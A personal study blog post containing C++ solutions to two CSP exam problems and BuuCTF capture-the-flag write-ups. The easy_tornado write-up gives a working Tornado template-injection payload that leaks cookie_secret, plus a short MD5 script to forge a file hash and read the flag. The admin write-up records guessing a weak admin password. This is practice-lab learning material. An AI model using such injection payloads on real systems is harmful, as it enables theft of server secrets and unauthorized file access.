20240223

CSP

2023-5-1 重复局面

本题的主要思想是读取n个8个字符串的组合,统计每个组合在数组中出现的次数并输出。

首先从标准输入中读取一个整数n,然后定义了一个字符串数组xq,长度为101。接着使用两个嵌套的for循环,将每次循环中读取的8个字符串s依次添加到xq数组中的第i个位置。接着定义一个整数num,用来记录当前字符串在数组中出现的次数。然后再次使用一个循环遍历之前已经存储的字符串,如果有和当前字符串相同的,则num加1。最后输出num的值,表示当前字符串在数组中出现的次数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<iostream>
#include<cstring>
using namespace std;

int main()
{
int n,i,j;
cin>>n;
string xq[101],s;
for(i=0;i<n;i++)
{
for(j=0;j<8;j++)
{
cin>>s;
xq[i]+=s;
}
int num=1;

for(j=0;j<i;j++)
{
if(xq[j]==xq[i]) num++;
}
cout<<num<<endl;
}
return 0;
}
2023-3-1 田地丈量

这道题的思想是计算n个矩形区域和给定区域(a,b)的交集总面积。

首先从标准输入中读取三个整数n,a,b。然后使用一个循环读取n组四个整数x1,y1,x2,y2。这四个整数表示一个矩形区域的左下角和右上角的坐标。在每次循环中,通过比较输入的矩形区域和给定的区域(a,b)是否有交集,如果有交集,则计算两个矩形区域的交集面积并累加到sum变量中。计算交集面积的方法是通过计算两个矩形区域在x和y轴上的重合部分的长度,然后相乘得到交集面积。最后输出sum变量的值,表示所有矩形区域和给定区域(a,b)的交集总面积。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<iostream>
using namespace std;

int main()
{
int n,a,b,i,j,x1,x2,y1,y2,sum=0;;
cin>>n>>a>>b;
for(i=0;i<n;i++)
{
cin>>x1>>y1>>x2>>y2;
//if((x1<a && y1<b) || (x2>0 && y2>0) || (x1<a && y2>0) || (x2>0 && y1<b)) //有交集
//{
int x=min(x2,a)-max(x1,0);
int y=min(y2,b)-max(y1,0);
if(x>0&&y>0)
{
sum+=x*y;
}
//sum+=x*y;
//}
}
cout<<sum<<endl;
return 0;
}

BuuCTF

21、easy_tornado

题目首页有三个链接,首先查看/flag.txt,可以看到flag在/fllllllllllllag中

image

查看/fllllllllllllag,显示Error

image

并且url变成了/error?msg=Error

image

查看/welcome.txt,内容为render

image

1
2
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

查看/hints.txt,这是一个加密方法,猜测 要构造filename=/fllllllllllllag&filehash=?

image-20230812150637958

在查阅资料后发现Error就是注入点

本题是模板注入SSTI模板注入 - 简书 (jianshu.com)

参考资料Tornado小记 – 模板中的Handler - 黑翼天使23 - 博客园 (cnblogs.com)

获取handler.settings环境变量:/error?msg={{handler.settings}}

得到cookie_secret

'cookie_secret': 'caffff81-323f-48da-8323-dc1530a0c95d'

image

编写脚本

1
2
3
4
5
6
7
import hashlib

def Md5(x):
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
return md5

print(Md5("caffff81-323f-48da-8323-dc1530a0c95d"+Md5("/fllllllllllllag")))

image

构造/file?filename=/fllllllllllllag&filehash=7d14388e78d85a8f1e726052e9d4dfbd

得到flag

image

1
flag{5673c2e4-27f7-4962-8d87-f449b8069952}
22、admin

注册一个账号

由于题目叫admin,所以注册时直接用admin了

image

显示用户名已经被注册过

image

注册一个账号

由于题目叫admin,所以注册时直接用admin了

image

显示用户名已经被注册过

image

猜密码

用123登陆成功了。。。

image-20230812171109196

在网上看大佬解题思路

注册

image

登录,右侧依次查看

image

在change password的源代码中看到一个被注释的链接

image

访问这个链接,内容已被删除,所以就没再看了

image

1
flag{88c07276-46ea-4e23-a50d-ce722b067e0f}